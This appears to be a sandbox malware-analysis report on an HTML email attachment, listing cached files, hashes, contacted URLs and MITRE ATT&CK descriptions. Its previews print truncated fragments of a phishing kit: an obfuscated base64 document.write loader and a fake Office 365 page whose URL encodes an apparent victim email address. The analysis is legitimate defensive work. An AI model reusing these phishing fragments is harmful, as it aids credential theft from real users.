SHA1:	2241BF801B35BC0CB6AE7E86A0A9F9D9E25DC905
SHA-256:	B9B2DEBC20675B49AB30D32D017FAB282605BE317B7F389F25065232EAC8B6B8
SHA-512:	08C8D09BF00EC2E970C16634CFF315DB036DB120E3DDD85EA362004AA684C2C11996F8F369C11C923093992FFEBCFFF5F8567185CCDBC80D4F80968A0FC41CDC
Malicious:	false
Reputation:	unknown
URL:	https://bi6.biguncu.ru/onistf/
Preview:	<script>..if("https://HbWkqp.biguncu.ru/onistf/" == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCjwhLS0gVGhlIHdheSB0byBnZXQgc3RhcnRlZCBpcyB0byBxdWl0IHRhbGtpbmcgYW5kIGJlZ2luIGRvaW5nLiAtLT4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy42LjAubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jaGFsbGVuZ2VzLmNsb3VkZmxhcmUuY29tL3R1cm5zdGlsZS92MC9hcGkuanM/cmVuZGVyPWV4cGxpY2l0Ij48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY3J5cHRvLWpzLzQuMS4xL2NyeXB0by1qcy5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9RWRnZSxjaHJvbWU9MSI+DQogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDx0aXRsZT4mIzgyMDM7PC90aXRsZT4NCiAgICA8c3R5bGU+DQpib2R5IHsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgaGVpZ2h0

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 302 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2102
Entropy (8bit):	7.7016529577233905
Encrypted:	false
SSDEEP:
MD5:	61B4964B1192640EC925B8CABAD67D1D
SHA1:	3C7409783D8508A2D20ED3DCA323520C9950013F
SHA-256:	1C5E693A064730B4E5F62DBEC287A65E0C72C5357AD217DBE319770820CD82A3
SHA-512:	A1DC3604859D05ADEBCA5788AD4125D1ACBAAD3A6438FE75D7D2831A2F1611A267C574CD2F5412E0CFC8D1B1DBA376A2ACC63856C0143BA03F7AF08C1C21C7EB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....................pHYs...#...#.x.?v....IDATx....r.8..Q.+.....u<..........bJ$>.$%=....@...- .p.q...#\@.......G..8..... .p.q...#\@.......G..8..... .p.q...#\@.......G..8..... .p.q...#\@.......G..8..... .p.q...#\@.......G..8..... .p.q......??............./b......u............Ad.].g...e.\.7...)P.F.....~..d]G$N...\w.d `...\.g..F....{.-`.'\9F_..0....f...0.......0......~..R.9+.1..P.......c.YK....~...~KH..y..u........f+..0....v.....0.sWq.......W.._..0...~v....f..=..;..6.jG...0.........4.N...0....../..G.u.`.%`.%\?...../..=..E...p}%X......`e.....`........Z..md.p....l.;.k.`.......;.k..9b...7V...-h.p........_!b.....<...."&`.X)\.5.O..B.......C..&9\......6..8g..ec......L-....xW.X.-..e.l..\|F.gI...`.........y.........>P...._....;...K...UT.VYV]..4..^...t.u..N.M...lCK.Bo...x..P.nk.0{....p.p.....h%:3..LD...'.U..2.@=...fY....*3..]v{W.....L.Vr4.3N"U..<..g.p.pd..2.z.R..,Ow.U.#\m....f......y..{.Z....x..V..g.}^.5....D..@.]....h....8..=._....z<0....{....

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	dropped
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7792
Entropy (8bit):	4.542011949564635
Encrypted:	false
SSDEEP:
MD5:	48A23FC2F47DDC85B7B05750C5D786B1
SHA1:	A427FE8ED7F8A103DAA254F38258A115458A74D4
SHA-256:	778E2632774CCEE25E55032C5298B38F94A84B5ED9E56591A4B0D32FEC7B22D5
SHA-512:	A652B010B3AEF58E0922D3525C6715DF1C4AC08EE9DB399DD32206857753E32F488E0F99DAA8D1B3F5E1DE3D9FF0F50A5D46987D69E9DB248D2EE58A1688EF79
Malicious:	false
Reputation:	unknown
URL:	https://fzxwdafuws.ministeriojesus.org/n6drat55y/iu89908445/?pln=by50eW1jaGVua29AZ21zLXdvcmxkd2lkZS5jb20=
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title id="page-title">Connecting... \| Office 365 Apps</title>.. .. Add the favicon here -->.. <link rel="icon" href="https://outlook.office.com/mail/favicon.ico" type="image/x-icon">.. .. <style>.. html, body {.. margin: 0;.. width: 100%;.. height: 100%;.. overflow: hidden;.. display: flex;.. justify-content: center;.. align-items: center;.. background-color: #f0f0f0;.. font-family: Arial, sans-serif;.. }.... #loading {.. position: fixed;.. top: 0;.. left: 0;.. width: 100%;.. height: 100%;.. background-color: rgba(255, 255, 255, 0.8);.. display: flex;.. flex-direction: column;.. justify-content: center

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	799
Entropy (8bit):	7.084318877575316
Encrypted:	false
SSDEEP:
MD5:	6459C834510FB436CF6B9D13C9AF1070
SHA1:	34BE8812F7D79AD4DEEF509CA17FB1839831703F
SHA-256:	1CEF03806DC8D17EEB12E21CDD9828F4C815140B45004FFA759B477C2F3844D3
SHA-512:	1A7F776343EB5D694DACC5A0CE781996E060CB9881E290878B15818A35052C4396F1282B8AD54C33EFF3028F895F24FB9C06214A1C4E6D58B40A66342253E8B0
Malicious:	false
Reputation:	unknown
URL:	https://cdn-images.mailchimp.com/icons/social-block-v3/block-icons-v3/instagram-icon-light-40.png
Preview:	.PNG........IHDR...@...@............lPLTE............................................................................................................>O.V...#tRNS..P...... .o...`0@p_O..A.1a....;..C...?IDATx^..m..@...-.]HX..]..]S...lC..Mv1.:.........6..."...y..!]..HE.,#...r.Q..>Uk..v..._._...Ak.....Ml..H..Hs#...";%R."z.?....r..Y../L."..%j.[...O2...\X.g.o2?.P..........K...-.<s.t...<'.M..n9Z..qy..Cl.......Z...8.n...MTz4~.m....F..\.WC#D....;....$.....nW.X....<G5.C~!.T\|"..._._8U..t...........&.....f~..t.n.w#.K...m.D...;Q........]B...N4.R.....]...&.6.......k....8W.O....N.RB....f$..J.`..E.h\...XMf+c..Z.xp........^m.&....Z.....P.........t.cL}.......J.}.~."f.....\|%....Je.n.W.7.;.W.g....J.o...,..L.S.~.....^....~w..`,.....{..*...\|.=....]k........../g..s..d.....IEND.B`.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6350
Entropy (8bit):	5.189758732055737
Encrypted:	false
SSDEEP:
MD5:	59DAD9FABCB6E02DEBA2CBA0AD76AA5F
SHA1:	529D83AD3BAE340E4A76A635400B74559B532AA4
SHA-256:	ED2A9DBED9ED7629A6BD2F5DBBFC07F1DE7272C034FACC5A449FB321A1A9E2E2
SHA-512:	0BDB46C9FB023473B19A9A1A014705A314D71347A89300BADFDDC0AE4BB5CED73B4B96A3976DCF96DE766BF6DDA1F40F9FD6E8FB1CE04777652FAC884B9D8A38
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="512" height="513" fill="none"><path fill="url(#a)" d="M429.439 262.847v-21.752L280.493 83.769c-12.465-13.367-34.427-13.664-46.595 0C221.729 97.433 82.561 240.796 82.561 240.796v23.045L253.9 382.953l175.539-120.106Z"/><path fill="url(#b)" fill-opacity=".7" d="M429.439 262.847v-21.752L280.493 83.769c-12.465-13.367-34.427-13.664-46.595 0C221.729 97.433 82.561 240.796 82.561 240.796v23.045L253.9 382.953l175.539-120.106Z"/><path fill="url(#c)" fill-opacity=".7" d="M429.439 262.847v-21.752L280.493 83.769c-12.465-13.367-34.427-13.664-46.595 0C221.729 97.433 82.561 240.796 82.561 240.796v23.045L253.9 382.953l175.539-120.106Z"/><path fill="url(#d)" fill-opacity=".4" d="M429.439 262.847v-21.752L280.493 83.769c-12.465-13.367-34.427-13.664-46.595 0C221.729 97.433 82.561 240.796 82.561 240.796v23.045L253.9 382.953l175.539-120.106Z"/><path fill="url(#e)" fill-opacity=".9" d="M429.439 262.847v-21.752L280.493 83.769c-12.465-13.367-34.427-13.664-46.595 0C2

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 29 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524404
Encrypted:	false
SSDEEP:
MD5:	6C3E1252C5A4748801CDF8FC6B04EFF7
SHA1:	60863329034FBAB5D2DB7DE7117280F855D1C313
SHA-256:	48D3325FD68A61DAF7D260D6817290D4A58A6F56C13D5831BD1A75652ED9A015
SHA-512:	C60D62C9B7C04E83BF436C6889BFFA867D81C136D832C1194E30737BF591F4DC31AC583BD9389A1CECDC27A171D5FB13E85FE66A4DB8CA523ED66889884BF3D6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............<a.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	448
Entropy (8bit):	6.757194687608292
Encrypted:	false
SSDEEP:
MD5:	304239CEB1B9D40B7ACE049FCE98CA44
SHA1:	757941989E2DCB96CA2EAF0577F20E8FF9BAF200
SHA-256:	57D31DD9B87E50760C0769E9708A0B9554EC4DD07675CD4B191CF9EBD4AB48F8
SHA-512:	C128F61289AE8E02C3961834227196A2FBED52CB276A661C4FE8E123E3E00B9AF295FC6AB771C8B48C988827D76542DC2F6AAE926C222DCA6364C6213EC356AD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P............?PLTE...............................................................C..j....tRNS.`.@ ....0p_..Po.;.......IDATx^....0...4I..W7......:..\,C.k..Pj.7.0Jl......`.1.^k._r..=.....E......@Q...Fk...=7...PV...MGD..._/*.L..,.u<..(.._Hq..j.s...QP..1..;6o.M([...../..k.Uw2.....!?.......um>......Gy...a0.%Y.B.`c.Jg..G ..9.....h..u]...{^.}&8...r@.I.To...w.L.....Rr.....d....$.(....`.+X..V..?Y...........IEND.B`.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	7886
Entropy (8bit):	4.14434000076088
Encrypted:	false
SSDEEP:
MD5:	AC16FA7FC862073B02ACD1187FC6DEF4
SHA1:	F2B9A6255F6293000F30EEE272ABDD372A14E9D3
SHA-256:	E35D94B76894D6ECA96FF5B1A12D94DFE73485EF3C52CB5B4395BE8FFAC1CB45
SHA-512:	FF0884F9F3DED38191C7D1F214545509E80DE614BC824395F3C9412AED8D81DB95BA7E761939AC1F1798C1D39A7969A3DBF373D03A88404345714EDD8165F19D
Malicious:	false
Reputation:	unknown
URL:	https://outlook.office.com/mail/favicon.ico
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..'.....................................(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(.....~......................................(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(..(.."................................................ ... ... ... ... ... ... ... .."..(..(..(..(..(..(..(..(..$.....}...............................................y...y...y...y...y...y...y...y...y...%..(..(..(..(..(..'.....\|..............................

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	352
Entropy (8bit):	6.194673493139103
Encrypted:	false
SSDEEP:
MD5:	8713730DB10C0897039FF696BFF9D9E1
SHA1:	ADB35B75277D15607A7D5D48C84075222F4A9FF4
SHA-256:	0C0A12090BA7716C200F63CD4F1105FBCA602CBEF4257C8DF5C395B9EB95EBC8
SHA-512:	0EC1D28F3241019E52F9328D32709953104FA07B390F9DD36BDA37E3A4746773F42EDAB680F78D09A26C04B4C0A281224242439BF392F5F828E70AF08E868A51
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P............?PLTE...............................................................C..j....tRNS....@ `...P...0O_o....#....IDATx^..Y..0.EQ;............TU.}!...y...4+...0i.UF....p..D.N..L...<...........d..`.A.A.8,y..~....(#E.zt..'..A.7!....!.......>...q.......llpe...76..`%.E.``.+.T6../.....t.A..t.A..t..'?d.M...@....IEND.B`.

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (1054), with CRLF line terminators
Entropy (8bit):	4.539765194398423
TrID:	HyperText Markup Language (12001/1) 20.69% HyperText Markup Language (12001/1) 20.69% HyperText Markup Language (11501/1) 19.83% HyperText Markup Language (11501/1) 19.83% HyperText Markup Language (11001/1) 18.97%
File name:	ATT71725.html
File size:	88'911 bytes
MD5:	7e68ec86c3149cc15ad4bb27a8c1c551
SHA1:	56da0b4de566170aa64984c58d9c77771a0f28ed
SHA256:	7a15e2c42bbc1fe3d83e75bc53cef61110b0a0a40ed65cc124304d7776ea4f21
SHA512:	601f83c553a1df07c3e098f9762bfe52cf1e51f8407f64f85272c52f36e9491bb84782b5e4a6fd1311a6918d114e57f01278795b5351eabaf75df7748f991599
SSDEEP:	1536:GDnxnbvnzPB6PB8nMPBuPBxPBLPBvPBHPBEPBZ+1N2FPBYPBTZPBmqPBMPBQPBA2:kCuDBDTGaWO8FmNPHnvOk
TLSH:	CC93FD9B52928A410165B092A8BA1FC9F4724723AE211D257BFEB397FF7D1140902FFD
File Content Preview:	<html lang="en">..<head>.. <meta charset="UTF-8">.. <title></title>.. <span>Les d..fauts de nostrud .. trois pointes sont le pilon, la saucisse de langue est une longe de porc courte provenant d'un jarret sans pied. Associez le kielbasa .. d

File Icon


Icon Hash:	173149cccc490307

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ATT71725.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 84

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 99

Static File Info

General

File Icon

Windows Analysis Report
ATT71725.html